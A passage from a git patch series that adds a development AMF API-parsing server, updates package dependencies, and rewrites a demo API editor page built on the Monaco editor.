+      return;
+    }
+    this.clearProcessListeners(this.process);
+    this.process = undefined;
+    if (this.status !== 'failed') {
+      this.status = 'finished';
+    }
+  }
+
+  /**
+   * @param {ParserProcessResult} result
+   */
+  processMessage(result) {
+    this.status = result.status;
+    if (result.status === 'failed') {
+      this.error = /** @type string */ (result.result);
+    } else {
+      this.result = /** @type string */ (result.result);
+    }
+    if (this.process.connected) {
+      this.process.disconnect();
+    }
+  }
+
+  /**
+   * @param {Error} err
+   */
+  processError(err) {
+    console.error(err);
+    this.status = 'failed';
+    this.error = err.message;
+    if (this.process.connected) {
+      this.process.disconnect();
+    }
+  }
+
+  /**
+   * @param {ChildProcess} proc
+   */
+  clearProcessListeners(proc) {
+    proc.removeAllListeners();
+  }
+}
diff --git a/dev/amf-server/AmfService.mjs b/dev/amf-server/AmfService.mjs
new file mode 100644
index 0000000..7ca2a25
--- /dev/null
+++ b/dev/amf-server/AmfService.mjs
@@ -0,0 +1,136 @@
+/* eslint-disable class-methods-use-this */
+import { v4 } from 'uuid';
+import { ApiError } from './ApiError.mjs';
+import { AmfParser } from './AmfParser.mjs';
+
+/** @typedef {import('koa').Request} Request */
+/** @typedef {import('../types').AmfProcessItem} AmfProcessItem */
+/** @typedef {import('../types').ProcessingStatus} ProcessingStatus */
+
+/**
+ * A demo page AMF parsing service.
+ */
+export class AmfService {
+  constructor() {
+    /** 
+     * @type {Map<string, AmfProcessItem>}
+     */
+    this.processes = new Map();
+  }
+
+  /**
+   * Handles the request when requesting parsing of an API content.
+   * @param {Request} request
+   * @returns {Promise<any>} 
+   */
+  async parseText(request) {
+    const { method, headers } = request;
+    if (method !== 'POST') {
+      throw new ApiError('Only POST method is allowed', 400);
+    }
+    const mime = headers['content-type'];
+    const vendor = /** @type string */ (headers['x-api-vendor']);
+    if (!mime) {
+      throw new ApiError('content-type header is missing', 400);
+    }
+    if (!vendor) {
+      throw new ApiError('x-api-vendor header is missing', 400);
+    }
+    const body = await this.readBody(request);
+    const key = this.addProcess();
+    const info = this.processes.get(key);
+    info.parser.parseText(body, vendor, mime);
+    return key;
+  }
+
+  /**
+   * Reads the request body.
+   * @param {Request} request
+   * @returns {Promise<Buffer>} 
+   */
+  async readBody(request) {
+    return new Promise((resolve, reject) => {
+      let message;
+      request.req.on('data', (chunk) => {
+        try {
+          if (message) {
+            message = Buffer.concat([message, chunk]);
+          } else {
+            message = chunk;
+          }
+        } catch (e) {
+          reject(e);
+          throw e;
+        }
+      });
+      request.req.on('end', () => {
+        resolve(message);
+      });
+    });
+  }
+
+  /**
+   * Checks for the status of a job.
+   * @param {string} key
+   * @returns {Promise<ProcessingStatus>} 
+   */
+  async checkStatus(key) {
+    if (!this.processes.has(key)) {
+      throw new ApiError(`Unknown resource ${key}`, 400);
+    }
+    const info = this.processes.get(key);
+    return info.parser.status;
+  }
+
+  /**
+   * Reads the process' error message.
+   * @param {string} key The process key.
+   * @returns {Promise<string>} The error message set on the process.
+   */
+  async getError(key) {
+    if (!this.processes.has(key)) {
+      throw new ApiError(`Unknown resource ${key}`, 400);
+    }
+    const info = this.processes.get(key);
+    return info.parser.error;
+  }
+
+  /**
+   * Reads the process' computation result.
+   * @param {string} key The process key.
+   * @returns {Promise<any>} The result
+   */
+  async getResult(key) {
+    if (!this.processes.has(key)) {
+      throw new ApiError(`Unknown resource ${key}`, 400);
+    }
+    const info = this.processes.get(key);
+    return info.parser.result;
+  }
+
+  /**
+   * Creates a new instance of an AMF parser.
+   * @returns {string} The id of the parser instance.
+   */
+  addProcess() {
+    const key = v4();
+    const parser = new AmfParser();
+    const info = /** @type AmfProcessItem */ ({
+      parser,
+    });
+    this.processes.set(key, info);
+    return key;
+  }
+
+  /**
+   * @param {string} key
+   */
+  removeProcess(key) {
+    if (!this.processes.has(key)) {
+      throw new ApiError(`Unknown resource ${key}`, 400);
+    }
+    const info = this.processes.get(key);
+    info.parser.cancel();
+    this.processes.delete(key);
+  }
+}
diff --git a/dev/amf-server/ApiError.mjs b/dev/amf-server/ApiError.mjs
new file mode 100644
index 0000000..a05d7bf
--- /dev/null
+++ b/dev/amf-server/ApiError.mjs
@@ -0,0 +1,10 @@
+export class ApiError extends Error {
+  /**
+   * @param {string} message The error message
+   * @param {number} code The response status code.
+   */
+  constructor(message, code) {
+    super(message);
+    this.code = code;
+  }
+}
diff --git a/dev/amf-server/ParserProcess.js b/dev/amf-server/ParserProcess.js
new file mode 100644
index 0000000..6004feb
--- /dev/null
+++ b/dev/amf-server/ParserProcess.js
@@ -0,0 +1,67 @@
+const amf = require('amf-client-js');
+// import amf from 'amf-client-js';
+amf.plugins.document.WebApi.register();
+amf.plugins.document.Vocabularies.register();
+amf.plugins.features.AMFValidation.register();
+
+/** @typedef {import('../types').ParserProcessMessage} ParserProcessMessage */
+/** @typedef {import('../types').ContentParseCommand} ContentParseCommand */
+/** @typedef {import('../types').ParserProcessResult} ParserProcessResult */
+
+class AmfParserProcess {
+  /**
+   * Handles the message from the main process.
+   * @param {ParserProcessMessage} data
+   */
+  handleMessage(data) {
+    const { action, command } = data;
+    if (action === 'parse-content') {
+      this.parseContent(/** @type ContentParseCommand */ (command));
+      return;
+    }
+    process.send(/** @type  ParserProcessResult */ ({
+      status: 'failed',
+      result: `Unknown action: ${action}`,
+    }));
+  }
+
+  /**
+   * @param {ContentParseCommand} command
+   */
+  async parseContent(command) {
+    const { content, mime, vendor } = command;
+    try {
+      const result = await this.doParseContent(content, mime, vendor);
+      process.send(/** @type ParserProcessResult */ ({
+        status: 'finished',
+        result,
+      }));
+    } catch (e) {
+      process.send(/** @type  ParserProcessResult */ ({
+        status: 'failed',
+        result: e.message,
+      }));
+    }
+  }
+
+  /**
+   * @param {string} content
+   * @param {string} mime
+   * @param {string} vendor
+   */
+  async doParseContent(content, mime, vendor) {
+    await amf.Core.init();
+    
+    const parser = amf.Core.parser(vendor, mime);
+    const doc = await parser.parseStringAsync(content);
+    const resolver = amf.Core.resolver(vendor);
+    const resolved = resolver.resolve(doc, 'editing');
+    const generator = amf.Core.generator('AMF Graph', 'application/ld+json');
+    const opts = new amf.render.RenderOptions().withSourceMaps.withCompactUris;
+    return generator.generateString(resolved, opts);
+  }
+}
+
+const parser = new AmfParserProcess();
+
+process.on('message', (data) => parser.handleMessage(/** @type ParserProcessMessage */ (data)));
diff --git a/dev/amf-server/api.mjs b/dev/amf-server/api.mjs
new file mode 100644
index 0000000..ce36bfe
--- /dev/null
+++ b/dev/amf-server/api.mjs
@@ -0,0 +1,138 @@
+/* eslint-disable class-methods-use-this */
+import { AmfService } from './AmfService.mjs';
+import { ApiError } from './ApiError.mjs';
+
+/** @typedef {import('koa').ParameterizedContext} ParameterizedContext */
+/** @typedef {import('koa').Next} Next */
+
+const ApiBase = '/amf-server/api';
+
+class AmfServer {
+  constructor() {
+    this.service = new AmfService();
+  }
+
+  /**
+   * Handles an API request
+   * 
+   * @param {ParameterizedContext} context
+   * @returns {Promise<void>} 
+   */
+  async handleRequest(context) {
+    let body;
+    const { request } = context;
+    const url = request.url.replace(ApiBase, '');
+    try {
+      if (url === '/parse-text') {
+        await this.handleParseText(context);
+        return;
+      } 
+      if (url.startsWith('/status')) {
+        await this.handleStatus(context);
+        return;
+      } 
+      if (url.startsWith('/result')) {
+        await this.handleResult(context);
+        return;
+      }
+      body = this.wrapError(new Error(`Unknown route: ${url}`), 404);
+    } catch (e) {
+      console.log('ROUTE ERROR', e);
+      body = this.wrapError(e, e.code || 500);
+    }
+    if (body.code) {
+      context.status = body.code;
+    }
+    context.body = body;
+  }
+
+  /**
+   * @param {Error} cause
+   * @param {number=} code
+   * @returns {any} 
+   */
+  wrapError(cause, code=500) {
+    return {
+      error: true,
+      code,
+      message: cause.message,
+      detail: 'The server misbehave. That is all we know.'
+    };
+  }
+
+  /**
+   * Handles the `/parse-text` route
+   * 
+   * @param {ParameterizedContext} context
+   * @returns {Promise<void>} 
+   */
+  async handleParseText(context) {
+    const key = await this.service.parseText(context.request);
+    context.status = 201;
+    context.header.location = `${ApiBase}/status/${key}`;
+    context.body = { status: 201, location: `${ApiBase}/status/${key}` };
+  }
+
+  /**
+   * Handles the `/status` route
+   * 
+   * @param {ParameterizedContext} context
+   * @returns {Promise<void>} 
+   */
+  async handleStatus(context) {
+    const url = context.request.url.replace(ApiBase, '');
+    const key = url.replace('/status/', '');
+    const status = await this.service.checkStatus(key);
+    if (status === 'running' || status === 'initialized') {
+      context.status = 204;
+      context.header.location = `${ApiBase}/status/${key}`;
+      context.body = { status, location: `${ApiBase}/status/${key}` };
+    } else if (status === 'failed') {
+      const body = await this.service.getError(key);
+      this.service.removeProcess(key);
+      const e = new ApiError(body || 'Unknown error', 500);
+      context.body = this.wrapError(e, e.code);
+      context.status = e.code;
+    } else {
+      context.status = 200;
+      context.header.location = `${ApiBase}/result/${key}`;
+      context.body = { status, location: `${ApiBase}/result/${key}` };
+    }
+  }
+
+  /**
+   * Handles the `/result` route
+   * 
+   * @param {ParameterizedContext} context
+   * @returns {Promise<void>} 
+   */
+  async handleResult(context) {
+    const url = context.request.url.replace(ApiBase, '');
+    const key = url.replace('/result/', '');
+    const body = await this.service.getResult(key);
+    this.service.removeProcess(key);
+    context.status = 200;
+    context.type = 'application/json';
+    context.body = body;
+  }
+
+}
+
+const server = new AmfServer();
+
+/**
+ * The API entry point. Use this as a middleware function in the dev server.
+ * 
+ * @export
+ * @param {ParameterizedContext} context
+ * @param {Next} next
+ * @returns {Promise<any>} 
+ */
+export async function amfParserApi(context, next) {
+  const { request } = context;
+  if (request.url.startsWith(`${ApiBase}/`)) {
+    await server.handleRequest(context);
+    return undefined;
+  }
+  return next();
+}
diff --git a/dev/types.d.ts b/dev/types.d.ts
new file mode 100644
index 0000000..d2bd675
--- /dev/null
+++ b/dev/types.d.ts
@@ -0,0 +1,23 @@
+import { AmfParser } from './amf-server/AmfParser.mjs';
+
+export interface AmfProcessItem {
+  parser: AmfParser;
+}
+
+export type ProcessingStatus = 'initialized' | 'running' | 'finished' | 'failed';
+
+export interface ParserProcessMessage {
+  action: string;
+  command: ContentParseCommand | unknown;
+}
+
+export interface ContentParseCommand {
+  vendor: string;
+  mime: string;
+  content: string;
+}
+
+export interface ParserProcessResult {
+  status: 'finished' | 'failed';
+  result: unknown;
+}
diff --git a/package-lock.json b/package-lock.json
index 78cf0e3..b64b8ed 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -4563,9 +4563,9 @@
       },
       "dependencies": {
         "@types/node": {
-          "version": "14.17.21",
-          "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.21.tgz",
-          "integrity": "sha512-zv8ukKci1mrILYiQOwGSV4FpkZhyxQtuFWGya2GujWg+zVAeRQ4qbaMmWp9vb9889CFA8JECH7lkwCL6Ygg8kA==",
+          "version": "14.17.27",
+          "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.27.tgz",
+          "integrity": "sha512-94+Ahf9IcaDuJTle/2b+wzvjmutxXAEXU6O81JHblYXUg2BDG+dnBy7VxIPHKAyEEDHzCMQydTJuWvrE+Aanzw==",
           "dev": true
         }
       }
@@ -9151,6 +9151,11 @@
           "requires": {
             "lie": "3.1.1"
           }
+        },
+        "uuid": {
+          "version": "3.2.1",
+          "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz",
+          "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA=="
         }
       }
     },
@@ -10160,12 +10165,6 @@
           "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz",
           "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==",
           "dev": true
-        },
-        "uuid": {
-          "version": "8.3.2",
-          "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
-          "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
-          "dev": true
         }
       }
     },
@@ -10984,9 +10983,10 @@
       "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
     },
     "uuid": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz",
-      "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA=="
+      "version": "8.3.2",
+      "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+      "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+      "dev": true
     },
     "v8-compile-cache": {
       "version": "2.3.0",
diff --git a/package.json b/package.json
index f548964..efaf0db 100644
--- a/package.json
+++ b/package.json
@@ -70,16 +70,18 @@
     "@web/dev-server": "^0.1.25",
     "@web/test-runner": "^0.13.18",
     "@web/test-runner-playwright": "^0.8.8",
+    "amf-client-js": "^4.7.8",
     "eslint": "^7.32.0",
     "eslint-config-prettier": "^8.3.0",
     "husky": "^7.0.2",
     "lint-staged": "^11.2.2",
     "sinon": "^11.1.2",
     "typescript": "^4.4.4",
-    "typescript-lit-html-plugin": "^0.9.0"
+    "typescript-lit-html-plugin": "^0.9.0",
+    "uuid": "^8.3.2"
   },
   "scripts": {
-    "start": "web-dev-server --app-index demo/index.html --node-resolve --open --watch --root-dir .",
+    "start": "web-dev-server",
     "lint:eslint": "eslint --ext .js,.html . --ignore-path .gitignore",
     "format:eslint": "eslint --ext .js,.html . --fix --ignore-path .gitignore",
     "lint:types": "tsc",
@@ -101,6 +103,8 @@
         "files": [
           "demo/**/*.js",
           "test/**/*.js",
+          "dev/**/*.js",
+          "dev/**/*.mjs",
           "**/demo/**/*.html"
         ],
         "rules": {
diff --git a/web-dev-server.config.mjs b/web-dev-server.config.mjs
new file mode 100644
index 0000000..234d0e2
--- /dev/null
+++ b/web-dev-server.config.mjs
@@ -0,0 +1,14 @@
+import { amfParserApi } from './dev/amf-server/api.mjs';
+
+/** @typedef {import('@web/dev-server').DevServerConfig} DevServerConfig */
+
+export default /** @type DevServerConfig */ ({
+  open: true,
+  nodeResolve: true,
+  appIndex: 'demo/index.html',
+  rootDir: '.',
+  watch: true,
+  middleware: [
+    amfParserApi,
+  ],
+})

From e539c712ac8741f94da3eb08db093f4faef0fc21 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Thu, 14 Oct 2021 17:12:45 -0700
Subject: [PATCH 23/36] chore: adding API editor experience

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-editor.html            |    9 +-
 demo/api-editor.js              | 1014 +++++++---
 demo/apis/oas-api/Petstore.raml |   39 +-
 demo/index.html                 |    4 +-
 demo/lib/ApiExamples.js         | 3270 +++++++++++++++++++++++++++++++
 demo/request-editor.html        |   15 +
 demo/request-editor.js          |  313 +++
 demo/styles/api-console.css     |  171 +-
 demo/styles/api-editor.css      |  143 ++
 demo/styles/console-theme.css   |  168 ++
 dev/amf-server/api.mjs          |   21 +-
 dev/types.d.ts                  |    5 +
 12 files changed, 4696 insertions(+), 476 deletions(-)
 create mode 100644 demo/lib/ApiExamples.js
 create mode 100644 demo/request-editor.html
 create mode 100644 demo/request-editor.js
 create mode 100644 demo/styles/api-editor.css
 create mode 100644 demo/styles/console-theme.css

diff --git a/demo/api-editor.html b/demo/api-editor.html
index 990a861..68d0226 100644
--- a/demo/api-editor.html
+++ b/demo/api-editor.html
@@ -4,12 +4,15 @@
 <head>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
-  <title>api-request-editor</title>
-  <link rel="stylesheet" href="./demo.css" />
+  <title>API editor</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/api-editor.css" rel="stylesheet" type="text/css" />
 </head>
 
 <body class="styled">
-  <div id="demo"></div>
+  <div id="app"></div>
   <script type="module" src="api-editor.js"></script>
 
 </html>
diff --git a/demo/api-editor.js b/demo/api-editor.js
index ecb9bee..ae0782f 100644
--- a/demo/api-editor.js
+++ b/demo/api-editor.js
@@ -1,313 +1,807 @@
 import { html } from 'lit-html';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
+import { classMap } from 'lit-html/directives/class-map.js';
+import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
+import '@anypoint-web-components/anypoint-menu-button/anypoint-menu-button.js';
+import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
 import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@advanced-rest-client/authorization/oidc-authorization.js';
+import '@advanced-rest-client/arc-icons/arc-icon.js';
 import '@advanced-rest-client/authorization/oauth2-authorization.js';
-import '@advanced-rest-client/authorization/oauth1-authorization.js';
-import { AmfDemoBase } from './lib/AmfDemoBase.js';
+import { MonacoTheme, MonacoStyles, MonacoLoader } from '@advanced-rest-client/monaco-support';
+import { ApplicationPage } from "./lib/ApplicationPage.js";
+import { EventTypes } from '../src/events/EventTypes.js';
+// import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
+import "../api-navigation.js";
+import '../api-documentation.js';
 import '../xhr-simple-request.js';
-import '../api-request-editor.js';
+import * as ApiExamples from './lib/ApiExamples.js';
 
+const StorePrefix = 'ApiEditor.Value.';
+const ApiFormatKey = 'ApiEditor.Format';
+const ApiMediaKey = 'ApiEditor.Media';
+
+/* global monaco */
+/** @typedef {import('lit-html').TemplateResult} TemplateResult */
+/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
+/** @typedef {import('monaco-editor').editor.IStandaloneEditorConstructionOptions} IStandaloneEditorConstructionOptions */
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+/** @typedef {import('../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../src/types').SelectionType} SelectionType */
+/** @typedef {import('../dev/types').ApiEditorPreviousRequest} ApiEditorPreviousRequest */
+
+try {
+  // @ts-ignore
+  document.adoptedStyleSheets = document.adoptedStyleSheets.concat(MonacoStyles.styleSheet);
+} catch (_) {
+  /* istanbul ignore next */
+  const s = document.createElement('style');
+  s.innerHTML = MonacoStyles.cssText;
+  document.getElementsByTagName('head')[0].appendChild(s);
+}
 
-class ComponentDemo extends AmfDemoBase {
+export class ApiTextEditor extends ApplicationPage {
   constructor() {
     super();
-    this.initObservableProperties([
-      'outlined',
-      'selectedAmfId',
-      'allowCustom',
-      'allowHideOptional',
-      'responseBody',
-      'urlLabel',
-      'urlEditor',
-      'renderCustomServer',
-      'allowCustomBaseUri',
-      'noServerSelector',
-      'applyAuthorization',
-    ]);
-    this.componentName = 'api-request-editor';
-    this.allowCustom = true;
-    this.allowHideOptional = true;
-    this.urlLabel = false;
-    this.urlEditor = true;
-    this.renderCustomServer = false;
-    this.noServerSelector = false;
-    this.allowCustomBaseUri = false;
-    this.applyAuthorization = true;
-
-    this.demoStates = ['Filled', 'Outlined', 'Anypoint'];
-    this._demoStateHandler = this._demoStateHandler.bind(this);
-    this._toggleMainOption = this._toggleMainOption.bind(this);
-    this._responseReady = this._responseReady.bind(this);
-    this._apiRequestHandler = this._apiRequestHandler.bind(this);
+    this.initObservableProperties(
+      'navigationOpened', 'model', 'loading',
+      'domainId', 'domainType', 'operationId',
+      'initializing', 'apiFormat', 'apiMedia',
+      'editorOpened', 'editorOperation',
+    );
+    /**
+     * When set the application is initializing its environment.
+     */
+    this.initializing = true;
+    /**
+     * When set the application is loading an API model.
+     */
+    this.loading = false;
+    /** 
+     * Whether the application navigation is visible, when toggling.
+     */
+    this.navigationOpened = false;
+    /**
+     * The loaded AMF model form the demo APIs.
+     * 
+     * @type {AmfDocument}
+     */
+    this.model = undefined;
+    /**
+     * The domain id of the currently selected graph object.
+     * @type {string}
+     */
+    this.domainId = 'summary';
+    /**
+     * The navigation type of the currently selected graph object.
+     * @type {SelectionType}
+     */
+    this.domainType = 'summary';
+    /**
+     * When the current domain type is an operation this is the selected operation domain id.
+     */
+    this.operationId = undefined;
+    /**
+     * The OAuth 2 redirect URI.
+     */
     this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`;
+    /** @type string */
+    this.apiFormat = 'RAML 1.0';
+    /** @type string */
+    this.apiMedia='application/yaml';
+    /** @type ApiEditorPreviousRequest[] */
+    this.requests = [];
+    /** 
+     * Whether the HTTP editor is opened.
+     */
+    this.editorOpened = false;
+    /** 
+     * The domain id of the operation opened in the HTTP editor.
+     */
+    this.editorOperation = undefined;
+    window.addEventListener(EventTypes.Navigation.apiNavigate, this.apiNavigationHandler.bind(this));
+    this.initApp();
+  }
+
+  /**
+   * Loads the Monaco editor and initializes routing.
+   */
+  async initApp() {
+    await this.loadMonaco();
+    await this.restoreSession();
+    this.initializing = false;
+    await this.updateComplete;
+    this.httpEditorPositionTarget = document.body.querySelector('aside');
+    this.initializeEditor();
+  }
+
+  /**
+   * Loads the Monaco editor using ARC's helpers.
+   * This can be implemented in any way.
+   */
+  async loadMonaco() {
+    const base = new URL('../node_modules/monaco-editor/', import.meta.url).toString();
+    // const base = `../node_modules/monaco-editor/`;
+    MonacoLoader.createEnvironment(base);
+    await MonacoLoader.loadMonaco(base);
+    await MonacoLoader.monacoReady();
+  }
+
+  /**
+   * Restores previously stored session.
+   * @returns {Promise<void>}
+   */
+  async restoreSession() {
+    let format = localStorage.getItem(ApiFormatKey);
+    if (!format) {
+      format = 'OAS 3.0';
+    }
+    let mime = localStorage.getItem(ApiMediaKey);
+    if (!mime) {
+      mime = 'application/yaml';
+    }
+    /** @type string */
+    this.apiFormat = format;
+    /** @type string */
+    this.apiMedia = mime;
+    this.value = this.getEditorValue(format, mime);
+    this.parse();
   }
 
-  _demoStateHandler(e) {
-    const state = e.detail.value;
-    this.outlined = state === 1;
-    this.compatibility = state === 2;
-    this._updateCompatibility();
+  /**
+   * Stores the current session in the store.
+   */
+  async storeSession() {
+    const { value='', apiFormat='', apiMedia='' } = this;
+    localStorage.setItem(ApiFormatKey, apiFormat);
+    localStorage.setItem(ApiMediaKey, apiMedia);
+    const key = this.editorValueKey(apiFormat, apiMedia);
+    localStorage.setItem(key, value);
   }
 
-  _authSettingsChanged(e) {
-    const value = e.detail;
-    this.authSettings = value;
-    this.authSettingsValue = value ? JSON.stringify(value, null, 2) : '';
+  /**
+   * Cleans up the API and the selection state,
+   */
+  cleanUp() {
+    this.apiId = undefined;
+    this.domainId = undefined;
+    this.domainType = undefined;
+    this.operationId = undefined;
+    this.model = undefined;
   }
 
   /**
-   * @param {ApiNavigationEvent} e
+   * @param {ApiNavigationEvent} e Dispatched navigation event
    */
-  _navChanged(e) {
-    this.selectedAmfId = undefined;
-    this.responseBody = undefined;
-    const { domainId, domainType } = e.detail;
+  apiNavigationHandler(e) {
+    const { domainId, domainType, parentId, passive } = e.detail;
+    if (passive === true) {
+      return;
+    }
+    this.domainType = domainType;
     if (domainType === 'operation') {
-      this.selectedAmfId = domainId;
-      this.hasData = true;
-    } else {
-      this.hasData = false;
-    }
-  }
-
-  _apiListTemplate() {
-    return [
-      ['demo-api', 'Demo API'],
-      ['google-drive-api', 'Google Drive'],
-      ['multi-server', 'Multiple servers'],
-      ['httpbin', 'httpbin.org'],
-      ['APIC-168', 'APIC-168: Custom scheme support'],
-      ['apic-169', 'apic-169'],
-      ['APIC-289', 'APIC-289: OAS param names'],
-      ['APIC-298', 'APIC-298: OAS param names 2'],
-      ['APIC-480', 'APIC-480'],
-      ['APIC-613', 'APIC-613'],
-      ['APIC-689', 'APIC-689: Enum values'],
-      ['SE-12042', 'SE-12042: Default values issue'],
-      ['SE-12224', 'SE-12224: Scope is not an array issues'],
-      ['SE-12957', 'SE-12957: OAS query parameters documentation'],
-      ['api-keys', 'API key'],
-      ['oas-demo', 'OAS Demo API'],
-      ['oauth-flows', 'OAS OAuth Flow'],
-      ['oas-bearer', 'OAS Bearer'],
-      ['secured-api', 'Security demo'],
-      ['21143', '21143'],
-      ['annotated-parameters', 'annotated-parameters'],
-    ].map(([file, label]) => html`
-      <anypoint-item data-src="models/${file}-compact.json">${label}</anypoint-item>
-      `);
-  }
-
-  _responseReady(e) {
-    const { isError, response } = e.detail;
-    if (isError) {
-      this.responseBody = 'Error in response';
+      this.domainId = parentId;
+      this.operationId = domainId;
     } else {
-      this.responseBody = response.payload;
+      this.domainId = domainId;
+      this.operationId = undefined;
+    }
+    if (this.navigationOpened) {
+      this.navigationOpened = false;
     }
   }
 
-  _apiRequestHandler(e) {
-    console.log(e.detail);
+  menuToggleHandler() {
+    this.navigationOpened = !this.navigationOpened;
   }
 
-  requestChangeHandler() {
-    console.log('requestChangeHandler');
-  }
+  /**
+   * Generates Monaco configuration
+   * @returns {IStandaloneEditorConstructionOptions}
+   */
+  generateEditorConfig() {
+    const { value='', apiMedia: language } = this;
+    // @ts-ignore
+    this.modelUri = monaco.Uri.parse(`http://api-editor/model.json`);
+    // @ts-ignore
+    const model = monaco.editor.createModel(value, language || 'json', this.modelUri);
 
-  dispatchAnnotations() {
-    const detail = { 
-      values: [
-        { annotationName: 'credentialType', annotationValue: 'id', fieldValue: 'test value 1' },
-        { annotationName: 'credentialType', annotationValue: 'secret', fieldValue: 'test value 2' },
-      ] 
+    const schema = {
+      uri: "http://api-editor/default-schema.json",
+      fileMatch: [this.modelUri.toString()],
+      schema: {},
     };
-    document.dispatchEvent(new CustomEvent('populate_annotated_fields', { detail, bubbles: true }));
+    
+    // @ts-ignore
+    monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
+      validate: true,
+      schemas: [schema],
+    });
+    
+    let config = /** @type IStandaloneEditorConstructionOptions */ ({
+      minimap: {
+        enabled: false,
+      },
+      formatOnType: true,
+      folding: true,
+      tabSize: 2,
+      detectIndentation: true,
+      // value,
+      automaticLayout: true,
+      model,
+    });
+    // @ts-ignore
+    config = MonacoTheme.assignTheme(monaco, config);
+    if (language) {
+      config.language = language;
+    }
+    return config;
   }
 
-  _addCustomServers() {
-    if (!this.renderCustomServer) {
-      return '';
+  initializeEditor() {
+    const config = this.generateEditorConfig();
+    // @ts-ignore
+    const instance = monaco.editor.create(document.body.querySelector('#container'), config);
+    // @ts-ignore
+    instance.onDidChangeModelContent(this.valueChanged.bind(this));
+    this.monacoInstance = instance;
+  }
+
+  /**
+   * The callback for the Monaco editor value change.
+   */
+  valueChanged() {
+    this.value = this.monacoInstance.getValue();
+    if (this.changeTimeout) {
+      window.clearTimeout(this.changeTimeout);
+    }
+    this.changeTimeout = window.setTimeout(() => {
+      this.changeTimeout = undefined;
+      this.storeSession();
+      this.parse();
+    }, 400);
+  }
+
+  /**
+   * @param {Event} e
+   */
+  formatSelectorHandler(e) {
+    const node = /** @type HTMLElement */ (e.target);
+    const { vendor } = node.dataset;
+    if (!vendor) {
+      return;
+    }
+    this.selectVendor(vendor);
+  }
+
+  /**
+   * @param {Event} e
+   */
+  mediaSelectorHandler(e) {
+    const node = /** @type HTMLElement */ (e.target);
+    const { media } = node.dataset;
+    if (!media) {
+      return;
+    }
+    this.selectMedia(media);
+  }
+
+  /**
+   * @param {string} vendor
+   */
+  selectVendor(vendor) {
+    this.apiFormat = vendor;
+    this.apiMedia = 'application/yaml';
+    const value = this.getEditorValue(vendor, this.apiMedia);
+    this.value = value;
+    if (this.monacoInstance) {
+      this.monacoInstance.setValue(value);
+      const model = this.monacoInstance.getModel();
+      // @ts-ignore
+      monaco.editor.setModelLanguage(model, this.apiMedia);
+    }
+    this.domainId = 'summary';
+    this.domainType = 'summary';
+    this.model = undefined;
+  }
+
+  /**
+   * @param {string} media
+   */
+  selectMedia(media) {
+    this.apiMedia = media;
+    const value = this.getEditorValue(this.apiFormat, media);
+    this.value = value;
+    if (this.monacoInstance) {
+      this.monacoInstance.setValue(value);
+      const model = this.monacoInstance.getModel();
+      // @ts-ignore
+      monaco.editor.setModelLanguage(model, media);
+    }
+    this.domainId = 'summary';
+    this.domainType = 'summary';
+    this.model = undefined;
+  }
+
+  /**
+   * @param {string} vendor The API format.
+   * @param {string=} media The API media type.
+   * @returns {string} The store key for the value.
+   */
+  editorValueKey(vendor, media) {
+    let suffix = vendor;
+    if (media) {
+      suffix += `.${media}`;
+    }
+    return `${StorePrefix}${suffix}`;
+  }
+
+  /**
+   * @param {string} vendor The API format.
+   * @param {string=} media The API media type.
+   * @returns {string} The value for the editor.
+   */
+  getEditorValue(vendor, media) {
+    const key = this.editorValueKey(vendor, media);
+    const value = localStorage.getItem(key);
+    if (!value) {
+      return this.getExampleValue(vendor, media)
+    }
+    return value;
+  }
+
+  /**
+   * @param {string} vendor The API format.
+   * @param {string=} media The API media type.
+   * @returns {string} The value for the editor.
+   */
+  getExampleValue(vendor, media='application/yaml') {
+    if (vendor === 'RAML 1.0') {
+      return ApiExamples.Raml10;
+    }
+    if (vendor === 'OAS 2.0') {
+      if (media === 'application/yaml') {
+        return ApiExamples.Oas20Yaml;
+      }
+      if (media === 'application/json') {
+        return ApiExamples.Oas20Json;
+      }
+    }
